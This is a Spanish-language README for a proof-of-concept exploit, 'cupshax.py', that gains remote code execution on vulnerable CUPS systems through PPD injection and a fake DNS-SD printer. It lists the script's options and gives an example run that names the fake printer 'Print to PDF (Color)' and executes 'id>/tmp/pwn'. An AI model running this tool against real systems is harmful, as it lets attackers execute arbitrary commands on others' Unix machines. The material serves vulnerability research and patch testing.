
Prueba de concepto rápida para el reciente exploit de CUPS que permite la ejecución remota de código mediante inyección de PPD y descubrimiento de impresoras DNS-SD. Ejecuta comandos arbitrarios en sistemas Unix vulnerables.
Prueba de concepto rápida para el exploit reciente de CUPS. Planeaba pulirlo mucho más, pero el embargo se levantó mucho antes de lo esperado, así que el código está un poco apresurado.
Para todos los detalles técnicos, honestamente deberías leer el artículo de Evilsocket.
Este exploit fue escrito después de ver este commit en el repositorio público de OpenPrinting CUPS. Probablemente haya puntos de inyección más limpios.
Este PoC usa el descubrimiento de impresoras mediante dns-sd, por lo que el objetivo debe poder recibir el mensaje de broadcast, es decir, estar en la misma red.
El exploit usa zeroconf e ippserver, ambos se pueden instalar con pip.
usage: cupshax.py [-h] [--name NAME] --ip IP [--command COMMAND] [--port PORT] [--base64 | --no-base64]
A CUPS PPD injection PoC
options:
-h, --help show this help message and exit
--name NAME The name to use (default: RCE Printer)
--ip IP The IP address of the machine running this script
--command COMMAND The command to execute (default: 'touch /tmp/pwn')
--port PORT The port to connect on (default: 8631)
--base64, --no-base64
Wrap the command in base64 (default: enabled)
Por ejemplo:
python cupshax.py --name "Print to PDF (Color)" \
--command "id>/tmp/pwn" \
--ip 10.0.0.3